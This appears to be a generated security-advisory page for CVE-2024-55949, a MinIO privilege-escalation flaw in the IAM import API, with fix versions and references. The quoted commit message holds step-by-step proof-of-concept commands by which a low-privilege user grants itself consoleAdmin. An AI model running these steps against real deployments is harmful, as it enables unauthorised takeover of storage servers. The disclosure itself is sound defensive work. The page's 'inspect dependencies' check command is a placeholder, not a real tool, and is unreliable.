CVE-2024-55949: Github.com/minio/minio MinIO Vulnerable To Privilege Escalation Vulnerability

Q: What is CVE-2024-55949?

CVE-2024-55949 is a security vulnerability in Github.com/minio/minio involving MinIO vulnerable to privilege escalation in IAM import API under CWE-269: Improper Privilege Management.

Q: Which Github.com/minio/minio versions are affected?

Affected versions include releases prior to 0.0.0-20241213221912-68b004a48f41 across affected packages: github.com/minio/minio.

Q: What version fixes CVE-2024-55949?

Upgrading to 0.0.0-20241213221912-68b004a48f41 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is github.com/minio/minio affected?

Yes, github.com/minio/minio is affected in releases prior to 0.0.0-20241213221912-68b004a48f41. Upgrade your dependency to 0.0.0-20241213221912-68b004a48f41 or later.

Q: What CWE is associated with CVE-2024-55949?

CVE-2024-55949 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).

Q: How can I check Go dependencies for CVE-2024-55949?

Run the dependency tree command: 'inspect dependencies for github.com/minio/minio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

HIGH

Advisory Identifier: GHSA-cwq8-g58r-32hg

CWE-269

Published 2024-12-16

Advisory Summary

CVE-2024-55949 is a HIGH minio vulnerable to privilege escalation vulnerability (CWE-269: Improper Privilege Management) affecting Github.com/minio/minio libraries in the Go ecosystem. The issue involves minio vulnerable to privilege escalation in iam import api. Remediation is available by upgrading affected packages to version 0.0.0-20241213221912-68b004a48f41.

CVE-2024-55949 at a Glance

CVE Identifier CVE-2024-55949

GHSA Identifier GHSA-cwq8-g58r-32hg

Severity HIGH

CVSS v3.1 Base Score N/A

CWE Classification CWE-269: Improper Privilege Management

Affected Product Github.com/minio/minio

Package Ecosystem Go

Published Date 2024-12-16

Last Updated 2024-12-20

How to Fix CVE-2024-55949

To remediate this vulnerability, upgrade all affected Github.com/minio/minio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/minio/minio fixed: 0.0.0-20241213221912-68b004a48f41

Upgrade github.com/minio/minio to 0.0.0-20241213221912-68b004a48f41

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/minio/minio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-55949, inspect your project dependencies for Github.com/minio/minio:

inspect dependencies for github.com/minio/minio

Analyze the terminal output to locate any version of Github.com/minio/minio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20241213221912-68b004a48f41), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Github.com/minio/minio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f ### Patches ``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Dec 11 18:09:40 2024 -0800 fix: Privilege escalation in IAM import API (#20756) This API had missing permissions checking, allowing a user to change their policy mapping by: 1. Craft iam-info.zip file: Update own user permission in user_mappings.json 2. Upload it via `mc admin cluster iam import nobody iam-info.zip` Here `nobody` can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ``` ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \ iam-assets/user_mappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam-info-updated.zip mc admin service restart nobody ``` ``` ### Workarounds There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer. Behind a load balancer / firewall such as `nginx` . ``` location /minio/admin/v2/import-iam { ... } ``` ``` location /minio/admin/v3/import-iam-v2 { ... ``` Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded. ### References Refer https://github.com/minio/minio/pull/20756 for more information ### Binary Releases #### AiStor Containers ``` quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips ``` #### AiStor Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `linux/arm64` - https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `windows/amd64` - https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ### Community Containers ``` quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips ``` ### Community Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `linux/arm64` - https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `windows/amd64` - https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ### Credits Credit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.

CVE-2024-55949 Affected Github.com/minio/minio Versions

1 component(s)

Fixed Versions:

0.0.0-20241213221912-68b004a48f41

Product / Package	Ecosystem	Affected Versions	Fixed Version
github.com/minio/minio golang/github.com/minio/minio	Go	≥ 0.0.0-20220623162515-580d9db85e04 < 0.0.0-20241213221912-68b004a48f41	0.0.0-20241213221912-68b004a48f41

References

GitHub Advisory / Wiki ADVISORY

https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg

NVD — CVE-2024-55949 NVD

https://nvd.nist.gov/vuln/detail/CVE-2024-55949

Github.com/minio/minio Source Repository REPOSITORY

https://github.com/minio/minio/pull/20756

Security Fix Commit FIX COMMIT

https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f

Security Fix Commit FIX COMMIT

https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427

Github.com/minio/minio Source Repository REPOSITORY

https://github.com/minio/minio

Frequently Asked Questions

What is CVE-2024-55949?

CVE-2024-55949 is a security vulnerability in Github.com/minio/minio involving MinIO vulnerable to privilege escalation in IAM import API under CWE-269: Improper Privilege Management.

Which Github.com/minio/minio versions are affected?

Affected versions include releases prior to 0.0.0-20241213221912-68b004a48f41 across affected packages: github.com/minio/minio.

What version fixes CVE-2024-55949?

Upgrading to 0.0.0-20241213221912-68b004a48f41 (or the latest patched release for your respective branch) resolves the vulnerability.

Is github.com/minio/minio affected?

Yes, github.com/minio/minio is affected in releases prior to 0.0.0-20241213221912-68b004a48f41. Upgrade your dependency to 0.0.0-20241213221912-68b004a48f41 or later.

What CWE is associated with CVE-2024-55949?

CVE-2024-55949 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).

How can I check Go dependencies for CVE-2024-55949?

Run the dependency tree command: 'inspect dependencies for github.com/minio/minio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cwq8-g58r-32hg",
  "modified" : "2024-12-20T14:09:31Z",
  "published" : "2024-12-16T17:27:53Z",
  "aliases" : [ "CVE-2024-55949" ],
  "summary" : "MinIO vulnerable to privilege escalation in IAM import API",
  "details" : "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate:   Wed Dec 11 18:09:40 2024 -0800\n\n    fix: Privilege escalation in IAM import API (#20756)\n    \n    This API had missing permissions checking, allowing a user to change\n    their policy mapping by:\n    \n    1. Craft iam-info.zip file: Update own user permission in\n    user_mappings.json\n    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n    \n    Here `nobody` can be a user with pretty much any kind of permission (but\n    not anonymous) and this ends up working.\n    \n    Some more detailed steps - start from a fresh setup:\n    \n    ```\n    ./minio server /tmp/d{1...4} &\n    mc alias set myminio http://localhost:9000 minioadmin minioadmin\n    mc admin user add myminio nobody nobody123\n    mc admin policy attach myminio readwrite nobody nobody123\n    mc alias set nobody http://localhost:9000 nobody nobody123\n    \n    mc admin cluster iam export myminio\n    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x\n    cd /tmp/x\n    unzip myminio-iam-info.zip\n    echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\\n          iam-assets/user_mappings.json\n    zip -r myminio-iam-info-updated.zip iam-assets/\n    \n    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n    mc admin service restart nobody\n    ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.\n\nBehind a load balancer / firewall such as `nginx` . \n\n```\nlocation /minio/admin/v2/import-iam {\n...\n}\n```\n\n```\nlocation /minio/admin/v3/import-iam-v2 {\n...\n```\n\nFollowing locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n#####  Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/minio/minio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20220623162515-580d9db85e04"
      }, {
        "fixed" : "0.0.0-20241213221912-68b004a48f41"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/security/advisories/GHSA-cwq8-g58r-32hg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-55949"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/pull/20756"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/commit/580d9db85e04f1b63cc2909af50f0ed08afa965f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/minio/minio/commit/f246c9053f9603e610d98439799bdd2a6b293427"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/minio/minio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-16T17:27:53Z",
    "nvd_published_at" : "2024-12-16T20:15:13Z"
  }
}

CVSS V4

N/A HIGH

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Advisory Metadata

Source ID: GHSA-cwq8-g58r-32hg
Schema Version: 1.4.0
Published: 2024-12-16 17:27
Last Modified: 2024-12-20 14:09
Database Record File: advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json